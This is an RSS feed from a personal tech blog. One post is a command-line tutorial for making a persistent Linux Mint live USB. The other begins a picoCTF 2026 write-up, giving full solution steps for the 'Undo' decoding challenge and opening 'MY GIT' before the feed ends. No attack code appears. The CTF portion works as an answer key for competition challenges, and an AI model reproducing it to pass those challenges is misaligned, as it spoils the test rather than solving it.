<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Windson&apos;s Blog</title><description>Windson&apos;s weekly diary and tech notes (English)</description><link>https://www.windson.cc/</link><language>en-us</language><item><title>USB &quot;Resurrection&quot; 2</title><link>https://www.windson.cc/en/posts/live-usb-2/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/live-usb-2/</guid><description> Last time I made a Persistence Live USB (bootable flash drive with persistent storage), I carefully selected the operating system. Searched for半天 only to find Kali which is easy to set up and played </description><pubDate>Fri, 17 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://www.windson.cc/posts/live-usb/&quot;&gt;Last time&lt;/a&gt; I made a Persistence Live USB (bootable flash drive with persistent storage), I carefully selected the operating system. Searched for半天 only to find Kali which is easy to set up and played with it a bit, &lt;del&gt;and ended up breaking it&lt;/del&gt;. So today I made a new one—this time using &lt;a href=&quot;https://www.linuxmint.com&quot;&gt;Linux Mint&lt;/a&gt;. Originally I wanted to use Ubuntu, but its iso is way bigger than Mint, I’d probably fall asleep waiting for the write to complete.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This time the goal is the same: make a flash drive with persistent storage. When making a bootable USB, the first thing everyone thinks of is &lt;code&gt;dd&lt;/code&gt; command, right? Just write the image with &lt;code&gt;dd&lt;/code&gt;, then carve out the unused space as storage, seems like that solves the problem?&lt;/p&gt;
&lt;p&gt;But after writing with &lt;code&gt;dd&lt;/code&gt;, the flash drive gets completely overwritten into a read-only file system. Modifying &lt;code&gt;grub&lt;/code&gt; parameters directly is impossible.&lt;/p&gt;
&lt;p&gt;This causes the following errors:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;dd&lt;/code&gt;’s &lt;strong&gt;Bit-stream copy&lt;/strong&gt; writes a hybrid partition table, causing structural anomalies in unallocated space at the back due to incorrect &lt;strong&gt;GUID Partition Table (GPT)&lt;/strong&gt; header positions.&lt;/li&gt;
&lt;li&gt;Since the file system is read-only, we can’t directly modify &lt;code&gt;grub.cfg&lt;/code&gt; to inject persistence parameters, nor elegantly create partitions (unless you want to manually enter boot parameters every time).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The fastest way to avoid these issues is relying on closed-source GUI tools (like Rufus), but as a terminal enthusiast, I refuse to surrender. So this adds another constraint—I must complete this with CLI. Here’s the complete tutorial for a handcrafted Linux Mint persistence USB. Replace &lt;code&gt;/dev/sdX&lt;/code&gt; in all commands with your actual flash drive identifier (check with &lt;code&gt;lsblk&lt;/code&gt;).&lt;/p&gt;
&lt;h3 id=&quot;1-wipe-and-rebuild-partition-table-partitioning&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#1-wipe-and-rebuild-partition-table-partitioning&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;1. Wipe and Rebuild Partition Table (Partitioning)&lt;/h3&gt;
&lt;p&gt;We need to create two partitions: one &lt;strong&gt;EFI System Partition (ESP)&lt;/strong&gt; for the Live ISO files, and one for persistent storage to write changes. Use &lt;code&gt;parted&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;# Create GPT partition table&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; parted&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; /dev/sdX&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; --script&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; mklabel&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; gpt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;# Create P1: FAT32 format, allocate 4GB for system files&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; parted&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; /dev/sdX&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; --script&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; mkpart&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; ESP&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; fat32&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; 1MiB&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; 4GiB&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; parted&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; /dev/sdX&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; --script&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; set&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; boot&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; on&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;# Create P2: EXT4 format, allocate remaining space for persistence&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; parted&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; /dev/sdX&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; --script&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; mkpart&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; PERSISTENCE&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; ext4&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; 4GiB&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; 100%&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;2-format-and-label-formatting-and-labeling&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#2-format-and-label-formatting-and-labeling&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;2. Format and Label (Formatting and Labeling)&lt;/h3&gt;
&lt;p&gt;Ubuntu and its derivatives’ (like Linux Mint) initramfs scripts find the persistence space by disk label. Modern versions require the label to be precisely named &lt;code&gt;writable&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;# Format P1 (boot and system area)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; mkfs.vfat&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; -F&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 32&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; -n&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; BOOT&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; /dev/sdX1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;# Format P2, strictly label as writable&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; mkfs.ext4&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; -L&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; writable&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; /dev/sdX2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;3-extract-and-sync-system-files-data-extraction&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#3-extract-and-sync-system-files-data-extraction&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;3. Extract and Sync System Files (Data Extraction)&lt;/h3&gt;
&lt;p&gt;Abandon &lt;code&gt;dd&lt;/code&gt;, use &lt;code&gt;rsync&lt;/code&gt; to mirror-copy ISO contents to the USB’s P1 partition.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;# Create mount points&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; mkdir&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; -p&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; /mnt/usb&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; /mnt/iso&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;# Mount P1 and downloaded Mint ISO as Loop Devices&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; mount&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; /dev/sdX1&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; /mnt/usb&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; mount&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; -o&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; loop&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; linuxmint-22.3-cinnamon-64bit.iso&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; /mnt/iso&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;# Sync files, excluding useless Windows executables&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; rsync&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; -av&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; --info=progress2&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; --exclude=&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&apos;wubi.exe&apos;&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; /mnt/iso/&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; /mnt/usb/&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;4-deploy-bootloader-bootloader-deployment&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#4-deploy-bootloader-bootloader-deployment&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;4. Deploy Bootloader (Bootloader Deployment)&lt;/h3&gt;
&lt;p&gt;Manually install GRUB to the USB. Before executing this step, wait because Page Cache from the previous step might still be writing data to the USB in the background (especially slow NAND flash)—don’t rush.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; grub-install&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;    --target=x86_64-efi&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;    --efi-directory=/mnt/usb&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;    --boot-directory=/mnt/usb/boot&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;    --removable&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;    /dev/sdX&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;5-inject-persistence-kernel-parameters-kernel-parameter-injection&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#5-inject-persistence-kernel-parameters-kernel-parameter-injection&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;5. Inject Persistence Kernel Parameters (Kernel Parameter Injection)&lt;/h3&gt;
&lt;p&gt;Open &lt;code&gt;/mnt/usb/boot/grub/grub.cfg&lt;/code&gt; with your preferred editor. Modify boot parameters—add &lt;code&gt;persistent&lt;/code&gt; at the end of the &lt;code&gt;linux&lt;/code&gt; line, before &lt;code&gt;--&lt;/code&gt;. Additionally, to bypass the common Live USB shutdown PID 1 termination error (Kernel Panic freeze issue), strongly recommend adding &lt;code&gt;noprompt&lt;/code&gt; and &lt;code&gt;panic=-1&lt;/code&gt; together. If you don’t modify the config file, you’ll need to press &lt;code&gt;e&lt;/code&gt; at the boot menu to enter &lt;strong&gt;GRUB&lt;/strong&gt; edit mode and manually add these parameters.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;menuentry&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &quot;Start Linux Mint 22.3 Cinnamon 64-bit (Persistent Mode)&quot;&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; --class&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; linuxmint&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;	set&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; gfxpayload=keep&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;	linux&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;	/casper/vmlinuz&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;  boot=casper&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; uuid=here-should-be-your-id&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; username=mint&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; hostname=mint&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; iso-scan/filename=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;${iso_path} &lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;quiet&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; splash&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; persistent&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; noprompt&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; panic=&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;-1&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; --&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;	initrd&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;	/casper/initrd.lz&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;6-force-sync-and-safe-unmount&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#6-force-sync-and-safe-unmount&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;6. Force Sync and Safe Unmount&lt;/h3&gt;
&lt;p&gt;Before removing the USB, ensure all dirty pages in memory are physically written to disk.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;# Force data sync&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; sync&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; sync&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;# Unmount mount points&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; umount&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; /mnt/usb&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; umount&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; /mnt/iso&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After completion, you have a flash drive that can “possess” any computer you plug it into.&lt;/p&gt;</content:encoded></item><item><title>picoCTF 2026 Writeup</title><link>https://www.windson.cc/en/posts/picoctf-2026-writeup/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/picoctf-2026-writeup/</guid><description> This was my first CTF. Team name: nggyu, Rank: 1418, because I was slacking off the whole time. This only lists problems I solved—I haven’t solved the ones I didn’t do yet. General Skills Undo After </description><pubDate>Fri, 20 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;This was my first CTF.&lt;br&gt;
Team name: nggyu, Rank: 1418, &lt;del&gt;because I was slacking off the whole time&lt;/del&gt;. This only lists problems I solved—I haven’t solved the ones I didn’t do yet.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1 id=&quot;general-skills&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#general-skills&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;General Skills&lt;/h1&gt;
&lt;h2 id=&quot;undo&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#undo&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Undo&lt;/h2&gt;
&lt;p&gt;After connecting, &lt;a href=&quot;https://play.picoctf.org/practice/challenge/766?category=5&amp;#x26;originalEvent=79&amp;#x26;page=1&quot;&gt;the challenge&lt;/a&gt; will appear:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;--- Step 1 ---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Current flag: KTgxMzkzOW4zLWZhMDFnQHplMHNmYTRlRy1nazNnLXRhMWZlcmlyRShTR1BicHZj&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Hint: Base64 encoded the string.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Enter the Linux command to reverse it:&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It says the string is Base64 encoded—input the command to restore it: &lt;code&gt;base64 -d&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;--- Step 2 ---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Current flag: )813939n3-fa01g@ze0sfa4eG-gk3g-ta1ferirE(SGPbpvc&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Hint: Reversed the text.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Enter the Linux command to reverse it:&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This string is reversed—input the command to restore it: &lt;code&gt;rev&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;--- Step 3 ---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Current flag: cvpbPGS(Eriref1at-g3kg-Ge4afs0ez@g10af-3n939318)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Hint: Replaced underscores with dashes.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Enter the Linux command to reverse it:&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The string has &lt;code&gt;_&lt;/code&gt; and &lt;code&gt;-&lt;/code&gt; swapped—input the command to restore it: &lt;code&gt;tr &apos;-&apos; &apos;_&apos;&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;--- Step 4 ---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Current flag: cvpbPGS(Eriref1at_g3kg_Ge4afs0ez@g10af_3n939318)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Hint: Replaced curly braces with parentheses.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Enter the Linux command to reverse it:&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This string has &lt;code&gt;()&lt;/code&gt; and &lt;code&gt;{}&lt;/code&gt; swapped. Input the command to restore it: &lt;code&gt;tr &apos;()&apos; &apos;{}&apos;&lt;/code&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;--- Step 5 ---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Current flag: cvpbPGS{Eriref1at_g3kg_Ge4afs0ez@g10af_3n939318}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Hint: Applied ROT13 to letters.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Enter the Linux command to reverse it:&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It asks me to ROT13 it, so &lt;code&gt;tr &apos;a-zA-Z&apos; &apos;n-za-mN-ZA-M&apos;&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&quot;my-git&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#my-git&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;MY GIT&lt;/h2&gt;
&lt;p&gt;After downloading &lt;a href=&quot;https://play.picoctf.org/practice/challenge/764?category=5&amp;#x26;originalEvent=79&amp;#x26;page=1&quot;&gt;the challenge&lt;/a&gt;, first check what &lt;code&gt;README.md&lt;/code&gt; says:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# MyGit&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;### If you want the flag, make sure to push the flag!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Only flag.txt pushed by ```root:root@picoctf``` will be updated with the flag.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;GOOD LUCK!&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This means you need to change your configured name and email. In terminal:&lt;/p&gt;
